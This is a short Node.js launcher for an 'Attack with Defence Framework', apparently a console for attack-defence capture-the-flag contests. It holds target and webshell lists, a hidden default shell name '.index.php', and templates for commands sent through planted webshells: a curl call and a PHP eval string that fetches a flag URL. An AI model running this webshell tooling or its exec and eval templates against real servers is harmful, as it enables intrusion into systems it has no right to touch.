#!/usr/bin/env node
require('PhoenixNirvana');
const Console = require('myconsole');

const _console = new Console({
        title: 'Attack with Defence Framework',
        handler: require('./handler'),
		prompt: '> '
})

_console.namespace = {
	targets: [],
	webshells: [],
	flags: [],
	token: '',
	submitflagurl: '',
	getflagurl: '',
	exec_str: 'curl {{getflagurl}}',
	eval_str: "ob_clean();echo file_get_contents('{{getflagurl}}');",
	timeout: 5000,
	shellname: '.index.php',
	tmpl: new nirvana.Template(),
	cron: []
}

const config = require('./config.json');
_console.namespace.getflagurl = config.getflagurl;
_console.namespace.submitflagurl = config.submitflagurl;
_console.namespace.token = config.token;
_console.namespace.exec_str = config.exec_str||"curl {{getflagurl}}";
_console.namespace.eval_str = config.eval_str||"ob_clean();echo file_get_contents('{{getflagurl}}');";
_console.namespace.timeout = config.timeout||5000;
_console.namespace.shellname = config.shellname||'.index.php';

_console.namespace.saveflag = true;

_console.start();
